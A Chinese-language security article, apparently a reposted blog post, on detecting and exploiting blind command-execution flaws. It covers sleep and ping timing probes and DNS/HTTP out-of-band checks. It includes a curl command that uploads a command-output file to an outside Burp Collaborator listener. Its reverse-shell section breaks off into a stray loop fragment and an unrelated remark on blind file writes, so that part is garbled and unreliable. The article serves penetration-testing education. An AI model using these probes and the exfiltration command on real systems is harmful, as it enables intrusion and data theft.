行业新闻

无回显条件下的命令执行判断和利用方式研究

无回显条件下的命令执行判断和利用方式研究

一、引言

在渗透测试、漏洞挖掘或安全研究的过程中,我们会遇到很多无回显的命令执行点。面对这些无回显的命令执行点,我们很难获取命令执行结果,甚至无法判断命令是否执行成功。本篇文章主要讨论面对这些无回显的命令执行点时的判断和利用方法。

二、延时判断

首先我们需要知道该点是否存在命令执行漏洞,或者我们的命令是否执行成功了。这里的研判方法有很多种,最常用的是直接通过延时判断,类似我们sql注入里的时间盲注:

cmd=sleep 5

值得一提的是,windows下并没有sleep命令,那么如何通过时间延时的方式判断windows环境下的命令执行呢?我们可以通过回环ping来达到强制延时的效果:

ping -n 3 127.0.0.1

ping -n 4 127.0.0.1

Linux下同样试用,我们还可以通过ping命令在不同环境下的执行方式来判断目标的操作系统类型:

ping -c 3 127.0.0.1

ping -c 4 127.0.0.1

延时判断法是在无回显情况下最简单的判断方式,优点是能分辨操作系统、无论目标是否出网都能判断,缺点是只能判断不能利用。

三、流量监听

流量监听是渗透攻击者另一个常用的命令执行判断和利用方式,流量监听最重要的一个条件是目标系统必须能出网。

这里想先跟大家讨论下“出网”这一概念,我们所谓出不出网其实是要分不同环境和不同场景的。主要还是看防火墙和其他安全设备的配置策略,有全流量不出网、指定端口不出网、指定协议流量不出网等等。有的小伙伴在渗透时经常遇到明明dnslog能收到请求但是却无法通过nps等工具建立隧道的场景。抛开被监控软件拦截,最有可能的原因就是用户环境指定了tcp流量不出网。我们知道dns是应用层的协议,通常是基于udp的(部分极端情况也可使用tcp),因此dnslog能收到请求并不代表全流量都能出网。这种情况下我们就需要想办法建立一些其他协议的通信隧道,如dns隧道、icmp隧道等。

出网的情况下想要验证命令是否执行成功方法就太多了,我们可以用dnslog、httplog等进行漏洞验证,也可以直接建立反向代理隧道进行漏洞利用。在漏洞验证时推荐可以使用burp的Collaborator Client功能。这是一个类似httpslog+dnslog的插件,其功能要比dnslog强大,我们可以不用搭建任何环境就能监听dns和http请求,也可以很方便的查看post请求包和cookie等。Collaborator Client的使用方法如图:

dnslog监听示例:

Collaborator Client除了dns外也能记录http的请求包,我们可以把命令执行结果写在文件里,通过提交http参数的方式来查看命令执行结果。这种场景适合于没有正向访问路径的情况,如命令执行点不在web目录我们无法通过url直接访问命令执行的结果文件,只能反向提交数据或直接建立反向隧道。

这里我们保存命令执行结果到result.txt,执行以下命令通过Collaborator Client查看文件内容:

curl -X POST -F xx=@result.txt http://ta7jsmzs6ydploiv0z9bpvkd046vuk.burpcollaborator.net

四、反弹shell

要利用一个命令执行点,最有效的方式便是反弹shell了。反弹shell的方式方法有很多,具体可以参考本公众号的上篇文章:

`basename $i`.php; done

实际渗透中最常见的盲写场景就是通过sql注入执行系统命令了,如果文件盲写不成功需要考虑站库分离等特殊情况。

原文链接

关闭